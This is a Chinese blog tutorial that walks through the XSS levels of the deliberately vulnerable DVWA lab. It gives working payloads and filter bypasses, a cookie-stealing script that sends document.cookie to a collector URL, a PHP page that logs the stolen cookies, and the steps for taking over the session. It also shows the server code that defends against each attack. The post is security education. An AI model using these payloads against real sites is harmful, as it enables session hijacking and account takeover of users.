首先需要有配置好的DVWA环境,像下图这样
 

其中:

XSS (DOM) :  DOM型XSS漏洞

XSS (Reflected) : 反射性XSS漏洞

 XSS (Stored) :  存储型XSS漏洞


 
我们先来看XSS(Reflected): 反射型的XSS漏洞
 
首先,我们选择LOW等级
XSS (Reflected) :
点击出现如图所示
我们先来输入  xss  ,点击确定

我们接着来输入<xss> ,点击确定

这时发现插入html标签的话,页面会发生变化,我们尝试js弹窗

我们继续输入<script>alert('xss')</script>,点击确定

这时说明这个网站可以进行XSS攻击,我们输入 <script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie</script> ,就可以得到要攻击的人cookie信息

 攻击过程总结:
 1.攻击者的web设计用来接收cookie,如下:
<?php
$cookie = $_GET['cookie'];
file_put_contents('cookie.txt',$cookie)
?>
 
2.构造并发送攻击url:
http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=<script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;</script>
注意:<script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;</script>需要进行
URLlencode的编码,否则不会攻击成功
 
3.得到cookie后,我们访问login.php 登陆页面,使用firebug里面的cookies,来编辑cookies
 

4.完成后,我们直接访问index.php,发现我们已经已被攻击者的身份登陆,可以赶我们想干的事情了


 
接下来我们选择Medium等级的XSS
XSS (Reflected) :
点击出现如图所示

我们先来输入<script>alert('xss')</script>  ,点击确定

 
发现已经失效,无法正常弹窗,<script>标签被过滤了,不过我们也有方法
1. <scri<script>pt>  应为过滤程序只会过滤一次,嵌套可以完美绕过。
输入<scr<script>ipt>alert('xss')</script>   

2.   <ScRiPt>   大小写混合绕过

输入<ScRiPt >ipt>alert('xss')</ScRiPt >
 
 
接下来我们选择High等级的XSS
XSS (Reflected) :
点击出现如图所示

我们先来输入<script>alert('xss')</script>  ,点击确定

 
我们尝试嵌套,大小写,发现都是失效的
 
但是能够插入xss代码的标签并不只是<script>,
还有<img>标签,同样也可以
 
输入 <img src=x onerror=alert('xss')>,点击确定
 

onerror事件会在文档或图像加载过程中发生错误时被触发
应为src=x本事就是一个错误代码,所以触发事件执行
 
还有<iframe>标签同样可以:
输入 <iframe onload=alert('xss')>,点击确定
 

<iframe>标签可以在一个html代码中嵌入另一个html内容
onload 是js的一个事件,事件会在页面加载完成后,立即发生,同时执行被调用的程序。
注意:1. 加载页面时,触发onload事件

 
接下来我们选择Impossible等级的XSS,当然这个等级是绝对安全的
XSS (Reflected) :
点击出现如图所示

我们先来输入<script>alert('xss')</script>  ,点击确定

 

发现代码原封不动的输出出来了,我们通过fire bug 查看元素

 
 
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体
我们输入的符号都被转义了,使他们丧失了功能
 
查看后台代码
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input
$name = htmlspecialchars( $_GET[ 'name' ] ); // Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
} // Generate Anti-CSRF token
generateSessionToken();
?>
 
原来是htmlspecialchars()这个函数把符号给编码了
 

 
接下来让我们来看XSS(Stored): 存储型XSS漏洞

首先,我们选择LOW等级
点击出现如图所示

是留言板性质的

我们先来尝试输入

发现输入不完整,估计是后台的输入框限制了长度

先查看源代码

果然不出所料

然后我们用火狐浏览器上的Tamper date 进行抓包改包
点击发送就可以成功绕过
或者我们可以用你黑客最常用的工具 burpsuite 就进行抓包:

然后改包:

 
 结果 :
 这样就简简单单突破限制

 
下面我们进入Middem等级
点击确定后

我们发现name中还是限制了字数,但在Low等级中我们已经列出解决办法,这里不再赘述

我们在Message表格中写入<script>alert('xss')</script>,发现如下图

发现<script>标签被过滤,此处我们也已经列出过解决办法,也不再赘述

抓包改包,用大小写混合的方法就可以成功绕过
 
我们看一下源代码:
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] ); // Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message ); // Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close();
}
?>
这代码不可谓不精细,message防注入做的很棒
 
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体
 

接下来我们进入High等级

点击确定后

我们在Message处尝试输入<script>alert('xss')</script>

我们又遇到了meddiem的问题:
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] ); // Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message ); // Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close();
}
?>
发现name已经完全过滤了<script>,区分大小写,以前的方法都失效了
这时我们采取新办法,我们在name中输入 <img src=x onerror=alert('xss')>
发现成功绕过
 

接下来我们进入不可能注入的impossible等级

这时我们先来看代码

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] ); // Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message ); // Sanitize name input
$name = stripslashes( $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars( $name ); // Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
} // Generate Anti-CSRF token
generateSessionToken();
?>
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
  • \x00
  • \n
  • \r
  • \
  • '
  • "
  • \x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
 
 

1.4 DVWA亲测XSS漏洞的更多相关文章

  1. 2. DVWA亲测CSRF漏洞

    DVWA登陆      用户名:admin   密码:password Low级: 查看源代码: <?php if (isset($_GET['Change'])) { // Turn requ ...

  2. 2. DVWA亲测文件包含漏洞

    Low级:     我们分别点击这几个file.php文件 仅仅是配置参数的变化: http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file3.php 如 ...

  3. 1.4 DVWA亲测文件上传漏洞

    Low 先看看源代码: <?php if(isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $tar ...

  4. 2. DVWA亲测命令执行漏洞

        先看low级: 提示让我们输入一个IP地址来实现ping,猜测会是在系统终端中实现的, 我们正常输入127.0.0.1: 那我们就可以利用这个使用其他CMD命令  我们输入127.0.0.1& ...

  5. 1.2 DVWA亲测sql注入漏洞(blind)

    LOW等级     我们尝试输入:   即如果页面返回为假,则说明后面的语句成功注入 据此我们可以知道 1' and 真 --> 页面显示 “User ID exists in the data ...

  6. 1.3 DVWA亲测sql注入漏洞

    LOW等级   我们先输入1 我们加上一个单引号,页面报错 我们看一下源代码: <?php if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input ...

  7. 8.bwapp亲测xxe漏洞

    这几天在学习XXE漏洞,这里用靶机bwapp来练习一下这个漏洞,重在学习 xxe漏洞主要针对webservice危险的引用的外部实体并且未对外部实体进行敏感字符的过滤, 从而可以造成命令执行,目录遍历 ...

  8. 4. DVWA亲测暴力破解

    LOW等级 我们先用burpsuite抓包,因为burpsuite提供了暴力破解模块   我们先创建一个1.txt文件夹,把正确的账号密码写进去   我们输入 Username:1 Password: ...

  9. XSS漏洞初窥(通过dvwa平台进测试)

    xss的全称是:Cross Site Script,中文名叫“跨站脚本攻击”,因为和CSS重名,所以改名XSS.作为一个网站是肯定要和用户有交互的,那么肯定就伴随着信息的输入输出,而利用xss就是通过 ...

随机推荐

  1. Ubuntu dpkg 查询已安装的软件包

    要检查特定的包,比如firefox是否安装了,使用这个命令: dpkg -s firefox 要列出你系统中安装的所有包,输入下面的命令: dpkg --get-selections 你同样可以通过g ...

  2. Spring Cloud之网关

    接口的分类: 开放接口:可以授权一些接口口OAuth2.0协议方式  第三方联合登录 内部接口:  一般只能在局域网中进行访问,服务与服务之间关系都在同一个微服务系统中.目的是为了保证安全问题 接口设 ...

  3. java深入探究07-jdbc上

    1.连接数据库三种方式 //连接数据库的URL private String url = "jdbc:mysql://localhost:3306/day17"; // jdbc协 ...

  4. SDN关键技术-Segment Routing协议简介

    当前,SDN作为一种新的网络架构,已经成为行业高度关注的热点.其倡导的开放式网络,代表了从网络应用适应网络能力向网络能力主动适配网络应用需求这个网络建设理念的改变.转发与控制分离.集中的控制层面.开放 ...

  5. matlab中的科学记数法变成小数形式

    例如:假如rectx的形式在命令窗口显示: rectx = 1.0e+05 * 5.2294 5.2294 5.2294 5.2294 5.2294 那么,命令窗口输入vpa(rectx): ans ...

  6. BZOJ 3391 [Usaco2004 Dec]Tree Cutting网络破坏:dfs【无根树 节点分枝子树大小】

    题目链接:http://www.lydsy.com/JudgeOnline/problem.php?id=3391 题意: 给你一棵无根树,求分支size均不大于一半点数的点. 题解: 假定1为根. ...

  7. JavaScript基础挖掘目录

    前端基础进阶(一):内存空间详细图解 前端基础进阶(二):执行上下文详细图解 前端基础进阶(三):变量对象详解 前端基础进阶(四):详细图解作用域链与闭包 前端基础进阶(五):全方位解读this 前端 ...

  8. Python习题-输出一个字符串中最长的子字符串及其长度

    描述:有个字符串$sd1#111$svda123!!!221&eSSDSDG,包含特殊字符.数字和字母,输出最长的子字符串和他的长度#例如上面的字符串包含数字字母的字符串是svda123,长度 ...

  9. bzoj1002轮状病毒

    高精度练习题 根据什么什么基尔霍夫矩阵 反正就是高精度练习 #include<iostream> #include<cstdio> using namespace std; s ...

  10. Codechef Union on Tree

    Codechef Union on Tree https://www.codechef.com/problems/BTREE 简要题意: 给你一棵树,\(Q\)次询问,每次给出一个点集和每个点的\(r ...